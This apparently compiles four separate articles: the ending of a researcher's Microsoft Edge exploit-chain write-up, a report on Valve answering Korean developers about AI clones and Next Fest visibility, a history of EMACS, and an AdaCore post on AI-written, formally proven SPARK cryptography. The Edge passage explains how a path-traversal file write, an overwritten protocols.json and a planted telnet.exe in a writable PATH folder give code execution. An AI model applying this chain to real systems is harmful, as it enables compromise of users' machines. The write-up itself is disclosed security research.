        "deviceInfo": {1337: 1337}
    }'
)

While playing with it, we observed that Microsoft Edge would first create a temporary folder and write AAAAAAAA to the file ORANGE.json . It would then pack the whole folder into LOL.ZIP , upload it to a Microsoft server, and clean everything up afterward. Of course, you’d want to try ../ … Yes, it does let you escape the temporary folder. But that .json extension is still a bit annoying. Maybe you’re also wondering if a NULL Byte could get rid of it… Of course it can! So now we have an arbitrary file write that can control both the filename and the content, and we can overwrite any file anywhere we want!

Thank you again and again, Microsoft!

Overwriting `protocols.json` to Auto-Launch Protocol Handlers

Now, we’ve got almost all the pieces. The last step is figuring out how to turn a browser-level arbitrary file write into ACE to complete the chain. We observed that Microsoft Edge would do some interesting side-loading while initializing, such as reading a bunch of config files or loading DLLs from a writable folder.

So the DLL side-loading sounds juicy. However, since our file write is wrapped in JSON, the content has to be a valid UTF-8 string. And because Microsoft Edge is a 64-bit process, we’d have to drop a 64-bit DLL, too. After spending some time working on this, we found that we couldn’t construct a valid 64-bit PE header that met the UTF-8 requirement in any case, so we gave up on DLL side-loading.

We ended up solving this in a less obvious way. We found that besides OneAuth, Edge also loads a bunch of components while initializing, and one of them is “AutoLaunchProtocolsComponent”. The component would read a configuration file called protocols.json from a folder we can write to, and that file defines which origins are allowed to launch which URL protocol handlers. So by overwriting the file, we can launch any protocol handler from any origin.

↓ Path: AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.10\protocols.json

{
  "allow": [
    {
      "origins": [
        "https://.get.microsoft.com",
        "https://.apps.microsoft.com"
      ],
      "protocol": "ms-windows-store"
    },
    {
      "origins": [
        "https://.onedrive.com",
        "https://.onedrive.live.com",
        "https://sharepoint.com"
      ],
      "protocol": "ms-word"
    },
    
  ],
  "warn": [
    
  ],
  "block": [
    
  ]
}

As for how do we get Microsoft Edge to re-initialize? Just use our earlier browser-initiated navigation to jump to edge://restart ! :)

From `telnet://` to Code Execution!

Here we chose telnet:// to get code execution. On Windows, the telnet handler would try to invoke telnet.exe , but the binary isn’t shipped by default, so Windows goes looking for it in the directories listed in the PATH environment variable. And one of those directories just happens to be writable by us…

C:\WINDOWS\system32
C:\WINDOWS
C:\WINDOWS\System32\Wbem
C:\WINDOWS\System32\WindowsPowerShell\v1.0
C:\WINDOWS\System32\OpenSSH
C:\Users\lowpriv\AppData\Local\Microsoft\WindowsApps

So by simply dropping a modified protocols.json and a 32-bit tiny PE, we got ACE. The whole exploit is less than 100 lines of code. The restart isn’t really necessary in a real attack, only for Pwn2Own. Let’s check out the demo! 🔥

Final Thoughts

From zero experience with modern browser exploitation to completing the full chain, the whole research took me two full months, with no LLMs/AI involved at all. But why, you might ask? Perhaps because it sounds cool, or maybe it was also just good timing — I only started using coding agents like Codex and Claude Code around March this year, and by then, I’d already found all the bugs and done the hard part ¯\_(ツ)_/¯

So what’s the hard part? For memory corruption, it’s often the exploitation. But we’re playing with logic bugs, where the hard part is finding them, and once you find them all, chaining is the easiest part. So that’s also why I kept the whole exploit AI-free.

Apart from that, I also see the UXSS primitive as a new attack surface, and agree that in the AI era, “ Attack Surface is the new 0day “. I wanted to explore this gold mine more before sharing it with the AI giants. That’s another reason why I decided not to use AI on this chain.

Of course, I’m not some old-fashioned guy who refuses to try new things, either. Outside of this chain, I’m also tokenmaxxing and addicted to AI. I believe once you’ve tasted how convenient LLMs are, no one would want to go back to hunting bugs by hand. That’s also the future, I think.

I’m also not that afraid of being replaced by AI. I’d rather say it’s precisely because of AI, I finally have enough time to finish all the cool stuff that’s been sitting on my TODO list… like the Windows RCE I just reported , flipping the chain to pop Microsoft Edge from calc.exe , or porting this logic-only full chain to Google Chrome (almost there ><). I’ll also show some progress at CODE BLUE in Japan next month. Stay tuned! 😉

So instead of worrying about how low the bar for vuln research can go, why not get excited about how high AI can take us? What fun can we have, what even cooler hacks can we build, and what impossible things can we make happen…?

Valve Responds to Developers Fearing AI Slop and Clones

Original Article

Valve has advised developers concerned about AI clone games to focus on community building and consistent updates. The trust built with players serves as the strongest barrier against clone games, and the features and distinct identity continually added through updates cannot be easily copied like a single mechanic. Valve's Steam Business Team shared these insights at the 'Steam Indie Connect' developer event held on October 27, stating that making the genuine version the best version has long been Valve's core principle.

The event was co-hosted by Valve, the Busan Indie Connect Festival Organizing Committee, and the Korea Creative Content Agency (KOCCA). Taking the stage were Tom Giardino and Marc Wilkinson from Valve's Steam Business Team, joined for the Q&A session by Matt from the localization team, which oversees translations into 30 languages for Steam and Valve games. Amid a flood of AI-generated games, Valve representatives directly explained to Korean developers how Steam handles visibility and curation.

"Launch Is Not the Finish Line, It's the Starting Line"

Tom Giardino opened the presentation with an update on Steam's current status. According to the presentation materials, Steam, which launched on September 12, 2003, recently reached a peak of 43.5 million concurrent users worldwide. Total Steam revenue in South Korea grew 126% over the past five years, with premium game and DLC revenue increasing by 70% and in-game purchase revenue surging by 388% over the same period.

He then outlined the launch preparation process — spanning Coming Soon pages, demos, Next Fest, playtests, setting an official release date, and build reviews — remarking, "Launch feels like the finish line, but it's actually the starting line." He also urged developers not to rely solely on Steam, but to utilize consoles, other PC stores, Discord, and social media alongside it.

Marc Wilkinson introduced new tools. Key among them are the Wishlist Data API, which allows developers to retrieve wishlist data by period, country, and language by specifying an App ID and date range, and the 'Personal Calendar,' which transitioned from a Steam Labs experiment into an official store feature. The Personal Calendar recommends upcoming releases wishlisted by players with similar play styles, and games must have a set official release date to appear on it.

Threatening Emails Saying "We'll Copy Your Game with AI and Launch First" — Valve's Answer

The question regarding AI cloning stemmed from a specific threat. One developer shared that indie developers have recently been receiving extortion emails threatening, "If you don't pay, we'll clone your game with AI and release it first." While understanding the advice to showcase games prior to release, the developer noted that such threats could make creators hesitate and asked if Steam had protective measures in place.

Tom Giardino expressed regret, noting that this was the first time he had heard of such extortion cases. He started with Valve's underlying principle regarding new technologies. "We don't want to be gatekeepers telling developers which tools they should or shouldn't use," he said, stating that whether to use AI in development is a decision for the developers themselves.

However, he pointed out that clone games existed long before AI. Spotting an interesting concept during Next Fest and quickly making a similar game or chasing trends has always happened; AI has simply accelerated that pace.

He framed this as creating two challenges for developers. The first is community. Building a developer website, engaging with players, and establishing identity and trust serves as the first line of defense against clone games, whether AI was involved or not. However, he added that because it takes time and does not happen automatically, community alone is not enough.

The second is continuous improvement. He emphasized that this task is equally important for small indie studios worried about AI clones and for Valve, which operates Dota.

As evidence, he pointed to Valve's philosophy on anti-piracy. Valve has historically not been aggressive with DRM or anti-piracy measures. Instead, it placed weight on making the legitimate version the best version available, and he explained that Valve views AI cloning through the same lens. Giardino said, "Rather than relying on a single mechanic that someone can easily copy, you need to keep growing your game by adding features, personality, and creativity that stem from your own perspective."

While drawing a line on the extortion itself, he kept communication channels open. He noted that such extortion is closer to an issue for law enforcement agencies rather than a game platform to solve. Even so, he added, "If you report such cases to us, we want to look into them further and help in whatever way we can."

'AI Slop' Hits Next Fest — "First Two Days Use Random Exposure"

The issue of AI slop (low-quality games made with AI) was also brought up. A developer who recently participated in Next Fest noted that complaints had surfaced on community channels and social media about an influx of low-quality games, and mentioned having experienced disappointing results personally. They asked whether Valve was aware of the issue and if solutions were planned for the next Next Fest.

Marc Wilkinson explained the visibility structure of Next Fest. For the first two days of the event, games are shown to players on a virtually random basis. After that, personalized recommendations kick in, surfacing more games that a player is likely to enjoy and purchase. He pointed out that many articles complaining about a flood of low-quality games were written based solely on those first two days.

He also shared the reason behind starting randomly. It is to prevent system abuse by those trying to enter early just to gain immediate visibility, and to give every game a fair share of exposure during Next Fest. "We recognize that the trade-off is some low-quality games get exposed," he said. "We are fully aware of the situation, and a significant number of people are thinking about how to solve this problem."

Tom Giardino highlighted the shift in scale. Just three years ago, he was going around trying to convince developers to participate, saying, "There are only 50 or 100 games, so you should definitely join," but now the number of participating titles reaches into the thousands. He described it as "the pendulum swinging to the opposite side."

He also pointed out that the benchmark for success varies for each game. There are titles overjoyed to gain 10,000 wishlists during Next Fest — tripling their previous total — while others are disappointed even after gaining 50,000 because it fell short of expectations. "As platform operators, we can't define what success means for an individual game," he said, explaining that Valve chose to keep the doors open for both Next Fest and seasonal sales while continuously refining page layouts and placements.

He noted that this concern was not new. When Steam Greenlight launched around 14 years ago, developers asked if Greenlight games could be filtered out. When Steam Direct, the current self-publishing system, was introduced, requests came in for a checkbox to hide Steam Direct games. Every time, rather than turning developers away or trying to pre-filter good games from bad ones, Valve chose to improve the shopping experience.

Giardino said, "We don't think we're perfect and there's plenty of room for improvement," but added, "Rather than limiting developer access, making Steam a smarter and more dynamic platform is the starting point of our philosophy."

"Wishlists Have No Impact on Visibility — They're a Thermometer for Marketing"

Questions around visibility transitioned to wishlists and the Personal Calendar. One developer observed that because Steam's main front page has focused primarily on top sellers among new releases, studios have obsessively chased 'wishlist farming,' increasing the importance of publishers who assist with it. Expecting that personalized recommendations via the Personal Calendar will become crucial for indie game exposure, the developer asked about Valve's intentions for expanding the feature and how developers should prepare.

Marc Wilkinson first corrected a misconception regarding wishlists. He clarified that while wishlists are a good indicator of marketing performance, they do not affect visibility on Steam. "What drives visibility is the number of people buying and playing the game," he emphasized. He shared examples of games that launched with 3 million wishlists but suffered falling sales and dropped off top charts due to poor user experience, as well as games with virtually no wishlists that achieved massive success. He advised against wishlist farming, urging developers to focus instead on making a great game.

Tom Giardino redefined the role of wishlists, pointing out that many developers do not utilize wishlists enough to measure marketing effectiveness. For example, checking if wishlists increase after running an ad, posting TikTok videos for a week to gauge reaction, and then testing different methods on other platforms. He noted that tactics that worked for a first game might not work for a second game years later. "Don't treat wishlists as a magic number you have to hit; use them as a thermometer or speedometer to measure the effectiveness of your efforts," he said.

He also detailed the design intent behind the Personal Calendar. While only a subset of users tested the Personal Calendar during its Steam Labs phase, becoming an official feature means far more player response data will be gathered. He explained that this feature differs from other Steam features because it revolves around recency. While top store recommendations and top seller lists include games from years ago like 'GTA 5' or 'Tactical Breach Wizards,' the Personal Calendar is virtually the only space dedicated exclusively to brand-new releases.

He did not hide its limitations either. Once 1-2 weeks pass after release, exposure on the Personal Calendar does not happen again. After that, the hard work of discounts, DLC, and game improvements remains. Nevertheless, he noted that the Personal Calendar was designed to reach deep into the catalog. "It doesn't matter if this game is a global top seller. What matters is whether there are enough signals indicating it will be popular with you personally," he said, stating that Valve will continue to refine the feature so games can connect with their audience even if they aren't top sellers.

Dilemma Over Tags and Single-Player Options — "A Design Choice, Not a Business One"

Questions about tags were also raised. A developer creating a game centered on co-op for two or more players asked whether single-player tags or solo options heavily influence wishlist conversion rates and refund rates, and how to communicate it on the store page if the game remains co-op only.

Marc Wilkinson responded that specific genres or features do not guarantee success. Steam has players who enjoy VR, single-player, and multiplayer games alike, and co-op-only games like 'It Takes Two' have achieved massive success. Ultimately, he said, it comes down to game quality.

Tom Giardino pointed out that major titles like 'Marathon' and 'ARC Raiders' grapple with the same dilemma between players who want to play solo and those who play with friends. He explained that Valve has never analyzed wishlist conversion rates by genre or game type, so he couldn't confidently say that adding a single-player tag increases conversion. Instead, he cited Valve's 'Left 4 Dead' as an example. While best enjoyed with three friends, not everyone has friends available, so delivering an experience close to multiplayer even when playing solo was a key design objective.

He advised that if a studio has the budget and resources to build bot companions that approximate multiplayer, they should pursue that path; if not, they should confidently step away from it. "In the end, it's a design choice, not a business choice," he said, noting that having a single-player checkbox is not a prerequisite for success.

He also shared tips on selecting tags. Giardino suggested referencing competing titles, as their tags, supported languages, and features are largely public. If building a game similar to 'XCOM' or 'STAR WARS Zero Company,' he suggested looking not only at those two titles, but also at games positioned directly beneath them that compete more closely. If top tags are Action, Indie, or Strategy, there are around 100,000 games sharing those exact tags, so finding specific tags that highlight the game's unique identity is a better approach.

He also recommended partnering with developers of competing games — asking whether Brazilian Portuguese support was effective, which localization agency was used, cross-promoting through 'collaborative bundles,' or recommending similar games to each other's fanbases. He noted that the global indie developer community is surprisingly open.

86% of Sales in Korea — "Find Local Champions"

Concerns about expanding overseas were also discussed. A developer who launched a co-op multiplayer game in Early Access shared that while sales grew, 86% of total sales came from South Korea. Despite engaging influencers in Japan, Germany, and the U.S., driving overseas sales using Steam's native features post-launch proved difficult, prompting the developer to ask how to market an already launched game abroad. When Tom Giardino asked about language support, the developer replied that the store page was translated into every language supported by Steam, and the in-game text had completed LQA for 16 to 17 languages beyond Korean.

Tom Giardino noted that while language is a significant barrier, certain games perform exceptionally well in specific countries due to the nature of their content — such as farming simulators selling heavily in Germany or Poland even without supporting German or Polish. However, he noted such cases are rare, and enjoyable games generally earn love evenly across regions. Marc Wilkinson highlighted regional pricing. While developers set prices, Steam operates a recommended pricing system for smaller teams lacking resources to analyze pricing individually, adding that regional pricing appropriate for local markets is a key factor for success.

Giardino reassured the developer, saying, "Breaking out of your home country's fanbase is inherently difficult. Your team isn't doing anything wrong." He noted that Brazilian studios often find that the majority of their customers are Brazilian as well. He pointed out that games that succeed abroad usually have a 'cheer squad' or champions in the new region — not PR agencies or paid ads, but local individuals like streamers, journalists, and YouTube reviewers. His advice was to find local figures in major markets like Germany, the U.S., Canada, Australia, France, and China who will champion the game.

He also called for the localization of update announcements. He pointed out that games initially supporting multiple languages often post Steam events or new feature announcements only in English, frequently losing engagement from Korean and Japanese players.

Matt affirmed that translating the store page first was the right call. He likened localization to a 'chicken-and-egg' problem: it is difficult to know whether a game lacks customers because it isn't translated or if translating will create customers, carrying financial risk. He recommended gathering as much data as possible using tools like the Wishlist Data API before deciding. He also noted recent shifts allowing 30 languages to be added at once using AI translation. Furthermore, he added that conditions vary by region — such as in Japan, Thailand, and Indonesia — so developers should research whether a genre resonates in a given market before deciding on launch plans and resource commitment.

Publishers and Steamworks Permissions — "Many Features Already Exist"

Friction when using Steamworks alongside publishers was also brought up. A developer noted that indie studios lacking marketing and localization experience frequently sign with publishers, but because Steamworks is tied to accounts, unnecessary or personal information is often exposed to publishers. They suggested a feature allowing developers to grant permissions to publishers strictly within the scope of their contract.

Tom Giardino explained that features to share sales data viewing permissions and App ID access permissions already exist. However, because the depth of relationships and permission holders vary by contract, it remains complex for Valve to handle. He cited developer education as one of the biggest challenges, noting that at events like this, requests are made to let publishers share sales data, even though that feature has been available for a long time. He welcomed feedback, stating that Valve wants to make improvements if specific permission issues are brought to their attention.

A CEO of a VR game studio asked whether curation, visibility, and policies for VR games would change given Valve's launch of its new hardware, 'Steam Frame'. They also mentioned anxiety among VR fans that Valve might be abandoning VR.

Giardino responded, "We still believe in virtual reality." He revealed that many Steam Frame users play standard library games rather than VR titles, using the Frame as a display. He framed VR's challenge as another 'chicken-and-egg' dilemma: developers wait for a larger VR market, while players wait for more VR games. Meanwhile, non-VR games keep growing more diverse and compelling, taking up players' time and money. He diagnosed the reality of new titles like 'Escape from Tarkov' launching every week as the biggest hurdle facing VR developers.

He stated that Valve views Steam Frame as just one piece of the VR ecosystem. He explained that Valve put significant effort into the Steam Link app for Meta Quest and OpenXR support so users who purchased headsets from other companies could still access the SteamVR experience. He also spoke candidly about component costs, noting that rising prices for parts like RAM and memory increased costs for all hardware, including Valve's, despite their desire to price Steam Frame lower to attract new users. "Moments where we could have welcomed many new customers became reasons to hesitate or wait on VR," he said, adding, "We feel sorry to VR developers."

The significance of the event lay in hearing directly from platform operators about how Steam works. As revealed in the Q&A, points like random exposure during the first two days of Next Fest, wishlists not affecting visibility rankings, and Personal Calendar exposure being limited to 1-2 weeks after launch were exact areas where developers had questions regarding performance. Marc Wilkinson himself noted that there are many misconceptions surrounding wishlists.

To be sure, Valve did not present a definitive solution to the issues of AI slop and cloning. The issue of low-quality games during Next Fest remained at the stage of being acknowledged and actively considered. However, Valve drew clear lines on what it will and will not do, while highlighting areas developers can control directly. From community and updates to quality and design choices, Valve's answers ultimately pointed back to the game itself.

Original Article

Programming used to be a very different experience from the one we know today. In fact, the first programmers didn’t write code at all; the six women who worked on the ENIAC, one of the world’s first computers, at the University of Pennsylvania in 1946 did it by physically configuring switches, cables, and plugboards.

A few years later, MIT engineers programmed the Whirlwind by punching code onto paper tape that was then loaded into the computer’s memory—making it among the first “stored-program” machines. Later, they and others moved on to punch cards, one for each line of code.

By the early 1960s, programmers with interactive computers could use a “line editor” to type their code on teletypes—large, noisy keyboard-and-printer machines. They’d type one line of code at a time, and their work would be saved on a spinning hard disk the size of a modern washing machine. But there was still no such thing as the now-familiar full-screen text editors that allow programmers to see and modify many lines at a time on a display.

One of the first such tools, EMACS, turns 50 this year, and it is still widely used.

EMACS first ran on the early video terminals at the MIT Artificial Intelligence Laboratory in 1976, but its core concepts were so powerful that it was rewritten for many operating systems in the decades that followed. Apple even distributed it with Mac OS X. Beyond that, the software-sharing community that started around EMACS helped give rise to the modern-day free software movement and the GNU/Linux operating system.

EMACS’s roots begin with the TECO text editor (originally the “Tape Editor and Corrector”) that Dan Murphy ’65 created in 1962 for the pioneering PDP-1 computer at MIT. The program’s commands were uppercase letters: A user would type “I” to insert text, “D” to delete a character, and so on. When tape gave way as a storage medium to files on a huge shared disk, the “T” in “TECO” came to stand for “Text.” And as years passed, TECO became a full language that programmers could use to create new commands, called macros, for editing their code.

In the fall of 1971, Carl Mikkelsen ’76 created Control-R, an add-on program for TECO that took advantage of “glass teletype” terminals with video displays. Control-R immediately displayed changes to the file being edited on screen; the programmer no longer needed to reprint each line to see the changes. The drawback: The display could show only a few lines of code at a time.

“Experienced and sophisticated users found EMACS to be eminently more usable than any of the previous forms of editing.”
Bernard S. Greenberg, SM ’74

Then, in 1976, Richard M. Stallman, a researcher at the MIT AI Lab, saw a full-screen editor—called E—on a visit to Stanford’s AI Lab. Inspired, he returned to MIT and set out to improve Control-R. The most important change to the program’s underlying structure: Every key ran its own macro when pressed, making Control-R far easier to customize. The lab’s hackers took to Stallman’s code with gusto and started changing and adding commands.

That created an issue for Guy Steele Jr., SM ’77, PhD ’80. A graduate student in the lab, Steele frequently needed to help other lab members debug their programs. “I noticed that it was much harder for me to help someone who was using one of these packages rather than straight TECO,” he recalls. “Eventually, it occurred to me to try [to] broker consensus on a standard set of Control-R commands that everyone could agree to use.”

David Moon ’75, another member of the lab, helped out. Stallman jumped in as well, and eventually he took over. Together, the group assigned a standard set of commands that made use of the Meta key found on many of the lab’s early keyboards: Meta-F would move the cursor forward a word, Meta-B would move it back a word, and so on. They called the result EMACS, short for “Editor Macros” or “Editing Macros.” “My goal was not to construct a great new text editor,” says Steele. “I was trying to address a social problem.”

Nevertheless, EMACS was a great new text editor. Whereas Control-R could be tricky, EMACS users with “no technical experience at all” could learn to edit letters, emails, and even programs “within minutes or an hour,” according to a history by Bernard S. Greenberg, SM ’74. Meanwhile, “experienced and sophisticated users found EMACS to be eminently more usable than any of the previous forms of editing.”

Stallman started distributing EMACS to anyone who sent him a magnetic tape and a postage-paid return envelope. “EMACS does not cost anything; instead, you are joining the EMACS software-sharing commune,” he wrote in the 1981 manual. “The conditions of membership are that you must send back any improvements you make to EMACS.”

black binders on a desk — Programming manuals for the Multics operating system. While working at Honeywell, Bernard S. Greenberg wrote his own version of EMACS for the system. It was so good, Honeywell commercialized it.

Greenberg, meanwhile, decided to write his own version for Multics, an early operating system by that time owned by his employer, Honeywell. Greenberg’s EMACS won first prize at the International Honeywell Software Conference in 1980, and Honeywell started selling it. Honeywell wasn’t alone in marketing a version of EMACS: James Arthur Gosling, a Carnegie Mellon graduate who went on to lead the development of the Java programming language, made a version that he eventually sold as a commercial product.

This transition from free to paid software ultimately spurred Stallman to launch a project to create an operating system that could be freely shared and improved by its users. He modeled this effort, called the GNU Project, after the increasingly popular Unix operating system from Bell Labs. “GNU” was short for “GNU’s Not Unix,” alluding to the fact that, unlike Unix, it would be free.

The project’s first major application was GNU Emacs (now restyled in lowercase). The GNU/Linux operating system was still years away, so, despite the project’s aim to create an entirely free operating system, GNU Emacs initally ran on Unix. It would eventually run on a range of operating systems, including Linux but also other Unix-based systems. When Apple launched Mac OS X, the first release of its Unix-based operating system, in 2001, GNU Emacs was included.

Apple stopped shipping GNU Emacs in 2019, but the company still has a program called mg (“Micro GNU Emacs”). Though it supports most EMACS commands, it lacks an integrated programming language, making it what some call an “ersatz EMACS.”

Meanwhile, much of Apple’s OS still has hidden support for EMACS commands. The keyboard has no Meta key, but Control-Option-B will move back one word, and Control-Option-F will move one forward.

Original Article

Recently, Anthropic published a research post in which they touted the use of LLMs in formal software verification . We’re excited that they’re excited! Of course, we’ve been talking about this all year (and before). We agree that AI makes formal software verification feasible in ways it simply wasn’t before. Here’s our latest example.

In July, the United States National Security Agency published to GitHub a repository of formal specifications of cryptographic algorithms. They call the repository Foundation . As a demonstration of their work, they include a proven Rust implementation of AES. Naturally, we saw this as an opportunity to demonstrate SPARK and, more importantly, SPARK + AI.

You can find our work on a fork here ; see the README in the spark folder here .

Using AI, we obtained formal specifications and proven implementations of AES (128, 192, 256), SHA-256, and HMAC-SHA-256 in SPARK. No direct human intervention was required, although we reviewed the specifications and offered minor stylistic (non-functional) improvements. This is SPARK Platinum code: full functional correctness. We are confident in the correctness of the work because we have verified correctness four different ways:

the SPARK specifications are proven to be functionally equivalent to the NSA’s Cryptol specifications for selected message, key, and text lengths;
the SPARK implementations are proven to satisfy their functional specifications;
the SPARK implementations are proven to be functionally equivalent to the NSA’s Cryptol specifications for selected message, key, and text lengths; and
the SPARK is tested against the Cryptol specifications

So even though the SPARK specifications and implementations were authored entirely by AI, we have (multiple) formal proofs plus extensive specification-based tests reaching 100% MC/DC coverage that the AI’s work is correct and complete.

The NSA’s Foundation

Foundation is an NSA public repository of cryptographic algorithms that are formally specified using Galois ’s Cryptol, a formal specification language designed specifically to specify cryptography. The NSA provides many algorithms; for some, they provide a reference implementation in Rust.

Our Picks: AES, SHA-256, HMAC-SHA-256

As a starting point, we picked three algorithms:

AES for all three key sizes, 128-, 192-, and 256-bits;
SHA-256 ; and
HMAC instantiated with SHA-256.

The details of these algorithms are beyond the scope of this blog post; the links above lead to their Wikipedia entries.

We chose AES because it’s commonly used, because the NSA provided a Rust reference implementation, and because it’s challenging to specify.

We chose SHA-256 because it’s also commonly used, and having a second algorithm offers evidence that our approach is replicable (i.e., AES isn’t somehow especially easy for SPARK).

We chose HMAC because three is a nice number, and it builds on the SHA-256 work.

Additionally, these three algorithms illustrate different properties of interest:

AES depends on arithmetic over the Galois fields GF(2) and GF(2 ⁸ );
SHA-256 depends on modular word arithmetic and padding for variable-length messages; and
HMAC depends on composition with streaming.

What We Did

For each of the three algorithms, we followed the same process. The examples below will focus on AES.

SPARK Specification

We wrote the SPARK specification from the Cryptol. Each SPARK specification is written so as to minimize the syntactic and semantic distance to the Cryptol: this makes it easier to read the two specifications side by side and validate the correctness of the SPARK.

Sometimes, this is very natural. For example, in Cryptol:

xTimes : [8] -> [8]
xTimes b = b << 1 ^ (if head b then 0x1b else 0x00)

And the matching SPARK:

function xTimes (B : Byte) return Byte
is (Interfaces.Shift_Left (B, 1) xor (if Head (B) then 16#1b# else 16#00#));

But Cryptol was designed to specify cryptography; SPARK is a general-purpose language. So there are a number of places in which we have to say rather more in SPARK or say it rather differently:

foreign Cipher : {k} (Key k) => [Nr k + 1]Block -> Block -> Block
Cipher ([w0] # ws # [wr]) in = state_final
  where
    state_initial    = AddRoundKey in w0
    state_rounds     = foldl Round state_initial ws
    state_final      = AddRoundKey (ShiftRows (SubBytes state_rounds)) wr

and the matching SPARK:

function Cipher (W : Round_Keys; Input : Block) return Block
is (AddRoundKey (ShiftRows (SubBytes
                   (Foldl_Round (AddRoundKey (Input, W (0)),
                                 W (1 .. Nr - 1)))),
                 W (Nr)));

Cryptol has primitives like foldl , split/join , and pmult / pmod (operations over GF(2) polynomials); in SPARK, we introduce these through a prelude.

The repository contains walkthroughs of the specifications that show the Cryptol and SPARK side-by-side and discuss the differences between them. You can find them here . Note that the SPARK specification is executable (as most SPARK specifications are); it is marked Ghost so that it can be removed at compile time.

Ultimately, we don’t have to validate the correctness of the SPARK specification via review; as we’ll show below, we prove functional equivalence between the SPARK specification and the Cryptol.

Correct specifications were obtained entirely automatically, with no human guidance needed. The original specifications were entirely readable and did an excellent job of minimizing the syntactic and semantic distance to the Cryptol specifications. We did review the AES specification carefully, however, and offered some feedback and suggestions for improvement that reduced the syntactic distance further. While helpful, these improvements were not strictly necessary.

SPARK Implementation

The SPARK implementation links to the SPARK specification by stating that the postcondition on an operation is the matching function in the specification:

procedure Encrypt_Block (K : Key_Size; W : Round_Keys; State : in out Block)
with
  Pre  => Is_Round_Keys (K, W),
  Post => State = Spec.Dispatch.Cipher (K, W, State'Old);

The implementations are imperative. They contain loops, in-place state manipulation, and offer streaming for SHA-256 and HMAC.

The implementations were obtained entirely automatically, with no human guidance needed. The frontier AI wrote the implementation entirely on its own.

SPARK Proof

Conceptually, there are three parts to the SPARK proof:

Proof of absence of runtime errors (SPARK Silver). We prove that neither the specification (should it be executed) nor the implementation (when it is executed) will ever see a runtime error. This becomes important later: one of our other proofs depends on this. It also allows us to turn off all runtime checks, which can improve performance.
Proof that the implementation satisfies the specification (SPARK Platinum, in this case). Since the Cryptol specification and hence the SPARK specification captures the complete functional requirements for our implementation, we have proved full functional correctness of the implementation.
Proof of putative properties of the specification (specification verification). Following the Cryptol, we prove, for example, that the tabular representation of the AES SBox complies with the functional statement of the SBox ¹ .

In total, the proof consists of 4,085 checks over 71 SPARK units plus an additional 2,565 checks from the slow-running SBox_Entries proof that is run on demand. There are no escape hatches used: no SPARK_Mode => Off anywhere, no assumptions, no justifications. The proof burden is a mixed bag: 23 loop invariants; 83 assertions; and 87 calls to lemmas.

This proof was obtained entirely automatically, with no human guidance needed. The frontier AI handled the proof on its own.

Testing with Cryptol’s FFI

Cryptol offers foreign-function interfacing using the C calling convention; SPARK exports C interfaces to its specification and implementation functions. We can thus state that a SPARK function equals its Cryptol counterpart, like this:

prop_xTimes : [8] -> Bit
property prop_xTimes b = spark_xTimes b == xTimes b

prop_Dot : [8] -> [8] -> Bit
property prop_Dot b c = spark_Dot b c == b • c

These properties are listed in a file and executed as tests in CI, using either Cryptol’s check or exhaust command. Cryptol must load the SPARK library and must not load another library (so we don’t, e.g., accidentally test SPARK against Rust) and must not report any errors during testing. Cryptol must report the number of tests passed and, for exhaust ive testing, must report Q.E.D.

While this testing is strong, it’s insufficient:

Of the 141 properties tested, only 36 have small enough domains that we can test with exhaust .
Check draws random inputs. We could achieve reproducible testing if we fixed the seed, but we chose not to, as testing is not our primary means of verification.
Check sizes are relatively small:
1. 1000 runs per AES key size for block and key-expansion properties; whole-cipher properties run 5 each, because Cryptol is slow.
2. For SHA-256 and HMAC, each random test checks one random input at a list of fixed lengths. prop_Stream_Hash, e.g., runs 100 tests at 11 boundary lengths from 0 to 128 bytes, yielding 1100 hashes. The _long properties run 3 tests at 10 lengths from 562 to 3837 bytes (Cryptol's reference hash is slow on long messages). So while the content is random, the lengths are not; nothing tests beyond 3837 bytes.

Our mutation testing provides the strongest evidence that our testing is not sufficient. Of the 84 one-line faults we inject into the implementations, the FFI-based testing only finds 68 of them. Of the 16 that pass testing, six are real bugs in SHA256_Stream . SPARK rejects all of these, albeit by timeout rather than finding a concrete counterexample.

Notably, we do obtain 100% MC/DC coverage when testing our implementations through Cryptol’s FFI. We have reasonable assurance that there is no unintended functionality present in our implementation as a result of obtaining this coverage from the specification-driven (hence requirements-based) testing ² .

These tests were obtained entirely automatically, with no human guidance needed. The frontier AI handled the testing on its own.

Proofs of Equivalence with SAW

The Software Analysis Workbench ( SAW ) is a tool provided by Galois that proves functional equivalence between two formal representations of an algorithm. SAW is able to work with Cryptol natively and provides tools to import software implementations from low-level representations: for Rust, this is MIR; for other languages, this is LLVM. In the Foundation repo, the NSA uses SAW to prove that their AES Rust reference implementation is functionally equivalent to their AES Cryptol specification.

We use SAW with gnat-llvm , our LLVM backend to the GNAT compiler, to prove both that our SPARK implementations are functionally equivalent to the Cryptol specifications and separately that our SPARK specifications are functionally equivalent to the Cryptol specifications. This is a bit of overkill, but we wanted to demonstrate the capabilities of the various tools and provide the strongest guarantees we could of the correctness of the AI-generated specifications and implementations.

We prove the implementation using SAW’s llvm_verify , asserting that each implementation entry point (e.g., Encrypt_Block ) is functionally equivalent to its Cryptol specification. We prove the specification by enabling the Ghost code for execution with pragma Assertion_Policy (Ghost => Check) , which allows us to use llvm_verify similarly for the specifications. To ensure that the SAW proofs are not vacuous, we deliberately break the implementation and confirm that SAW reports counterexamples.

The AES specification and implementation proofs in SAW cover every input at each key size. The SHA-256 specification and implementation proofs in SAW cover 12 selected message sizes. The HMAC specification and implementation proofs in SAW cover 7 selected (key-length, text-length) pairs ³ .

These proofs were obtained entirely automatically, with no human guidance needed. The frontier AI handled these proofs on its own.

A Visual Summary

Here’s how the different pieces fit together, and the evidence of correctness we’ve established.

https://www.adacore.com/uploads/foundation-spark-relationships.svg

Performance

Implementation Performance

Tested on an Apple M1 Pro using GNAT FSF 16.1 and rustc 1.95 using -O3 , we obtain the following results; all times in nanoseconds.

op	SPARK, checks off	SPARK, checks on	Rust	ratio, checks off	ratio, checks on
AES-128 Expand_Key	131.9	130.0	403.7	0.33	0.32
AES-128 encrypt	327.6	368.6	403.4	0.81	0.91
AES-128 decrypt	775.0	778.1	722.2	1.07	1.08
AES-256 Expand_Key	176.3	165.8	543.8	0.32	0.30
AES-256 encrypt	468.3	520.2	569.0	0.82	0.91
AES-256 decrypt	1111.8	1112.2	1034.3	1.07	1.08

In general, the SPARK implementation is faster than the Rust implementation. Notably, this speedup is not from disabling SPARK’s runtime checks ⁴ .

